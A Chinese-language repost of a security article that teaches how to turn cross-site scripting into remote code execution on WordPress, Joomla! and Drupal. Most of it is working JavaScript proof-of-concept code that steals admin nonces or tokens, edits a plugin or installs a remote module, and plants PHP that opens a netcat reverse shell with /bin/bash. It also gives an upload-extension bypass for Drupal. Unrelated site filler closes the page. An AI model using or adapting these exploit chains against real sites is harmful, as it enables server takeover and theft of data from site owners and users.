教你如何使用XSS来搞定当下热门的CMS(含演示视频)

栏目: 编程工具 · 发布时间: 7年前

内容简介:教你如何使用XSS来搞定当下热门的CMS(含演示视频)

CMS(内容管理系统)不仅具有模块安装功能,而且还允许我们查看到系统管理员之前所发送的全部请求。因此,CMS也就成为了XSS攻击的一种绝佳目标,而且我们还可以轻松地对目标发动CSRF(跨站请求伪造)攻击。

简而言之,XSS攻击将有可能允许攻击者在CMS的底层服务器上实现远程代码执行。

教你如何使用XSS来搞定当下热门的CMS(含演示视频)

本文接下来给出的PoC针对的是当下全球最热门的三大CMS(均为目前的最新版本)。 在所有的CMS中,我们通过netcat设置了监听端口5855,并使用 PHP 代码执行了另一个netcat实例与我们建立了回连(反向Shell)。如果你需要不同的PoC,你只需要对代码进行相应的修改即可(WP的JS代码中的“s”变量,Joomla!中的“jml.php”文件,以及Drupal中的“dp/dp.php5”文件)。

WordPress 4.7.5

对于最新版本的WordPress,我们首先要通过解析第一个XHR响应来获取到随机值(Nonce),然后将其在插件“Hello Dolly”(你好,多莉)中进行提交,这个插件是WordPress自带的。当然了,你也可以使用其他的插件。

p ='/wordpress/wp-admin/plugin-editor.php?';
q ='file=hello.php';
s ='<?=`nc localhost 5855 -e /bin/bash`;';
 
a =new XMLHttpRequest();
a.open('GET',p+q, 0);
a.send();
 
$ ='_wpnonce=' + /nonce"value="([^"]*?)"/.exec(a.responseText)[1] +
'&newcontent='+ s + '&action=update&' + q;
 
b =new XMLHttpRequest();
b.open('POST',p+q, 1);
b.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
b.send($);
 
b.onreadystatechange= function(){
   if (this.readyState == 4) {
     fetch('/wordpress/wp-content/plugins/hello.php');
   }
}

将上面这段代码保存为一个JS文件(比如说“wp-rce.js”),然后在实际的XSS攻击/PoC中通过jQuery的$.getScript()函数调用该文件,或者你也可以直接在浏览器控制台中直接输入代码来进行模拟攻击。

Joomla! 3.7.2

对于Joomla!来说,攻击步骤就有一点不同了,因为我们现在可以安装一个远程模块了。我们首先需要一个zip文件,它需要包含下面这两个文件:

1.jml.xml
 
<?xmlversion="1.0" encoding="utf-8"?>
<extensiontype="module" method="upgrade">
   <files>
      <filename>jml.xml</filename>
      <filenamemodule="jml">jml.php</filename>
   </files>
</extension>
2.jml.php
 
<?=system('nclocalhost 5855 -e /bin/bash');

zip文件准备好之后,将该文件上传到本地服务器中进行托管,然后使用下面的JS代码修改响应的变量“u”:

p ='/joomla/administrator/index.php?';

q ='option=com_installer&view=install';

u ='http://localhost/exploits/jml.zip';

a = newXMLHttpRequest();

a.open('GET',p, 0);

a.send();

$ ='install_directory=/var/www/html/joomla/tmp&install_url=' +

u +&installtype=url&task=install.install&' +

/[a-zA-Z0-9]{32}=1/.exec(a.responseText);

b = newXMLHttpRequest();

b.open('POST',p+q, 1);

b.setRequestHeader('Content-Type','application/x-www-form-urlencoded');

b.send($);

b.onreadystatechange= function(){

if (this.readyState == 4) {

fetch('/joomla/modules/jml/jml.php');

}

}

将上面这段代码保存为一个JS文件(比如说“jml-rce.js”),然后在实际的XSS攻击/PoC中通过jQuery的$.getScript()函数调用该文件,或者你也可以直接在浏览器控制台中直接输入代码来进行模拟攻击。

Drupal 8.3.2

在这三个CMS中,Drupal可以算得上是最复杂了的。在利用其漏洞进行攻击的过程中,我们不仅需要使用默认的令牌处理程序,而且还需要在服务器上托管zip或tar.gz文件,为了完成整个操作,我们还要加载一些JS脚本。不过值得庆幸的是,我们只需要提取出第二个XHR响应中的一个URL地址,然后对其进行简单的修改,最后将它通过一个iframe进行加载即可。

除此之外,我们还要为tar.gz文件创建一个“dp”文件夹来保存这两个文件:

1.dp/dp.info.yml
 
name:x
type:module
core:8.x
2.dp/dp.php5
 
<?=system('nclocalhost 5855 -e /bin/bash');

是的,你没看错。我们的PHP文件后缀名必须为.php5,否则它将无法正常工作。Drupal不允许执行.php文件,如果用户请求这类文件的话,系统会返回一个403错误状态码,如果使用php5作为后缀的话,我们就可以绕过这个限制了。

准备好了tar.gz文件之后,将其上传到服务器中,然后使用下列JS代码修改相应的变量“u”:

p ='/drupal/admin/modules/install';
u ='http://localhost/exploits/dp.tar.gz';
 
a =new XMLHttpRequest();
a.open('GET',p, 0);
a.send();
 
$ ='project_url=' + u + '&form_token=' +
/form_token"value="([^"]*?)"/.exec(a.responseText)[1] +'&form_id=update_manager_install_form';
 
b =new XMLHttpRequest();
b.open('POST',p, 1);
b.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
b.send($);
 
b.onreadystatechange= function() {
   if (this.readyState == 4) {
      o =/URL=([^"]*?)"/.exec(b.responseText)[1].replace(/amp;/g,"");
      i = document.createElement('iframe');
      i.setAttribute = ('style','visibility:none');
      i.src = o.replace("do_nojs","start");
      document.body.appendChild(i);
     setTimeout(function(){fetch('/drupal/modules/dp/dp.php5')}, 1000);
   }
}

将上面这段代码保存为一个JS文件(比如说“dp-rce.js”),然后在实际的XSS攻击/PoC中通过jQuery的$.getScript()函数调用该文件,或者你也可以直接在浏览器控制台中直接输入代码来进行模拟攻击。

演示视频

下面这个视频演示了本文所介绍的三种漏洞利用技术,视频非常短,感兴趣的同学可以点击观看:

* 参考来源: brutelogic , FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM


以上所述就是小编给大家介绍的《教你如何使用XSS来搞定当下热门的CMS(含演示视频)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Refactoring

Refactoring

Martin Fowler、Kent Beck、John Brant、William Opdyke、Don Roberts / Addison-Wesley Professional / 1999-7-8 / USD 64.99

Refactoring is about improving the design of existing code. It is the process of changing a software system in such a way that it does not alter the external behavior of the code, yet improves its int......一起来看看 《Refactoring》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

随机密码生成器
随机密码生成器

多种字符组合密码

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具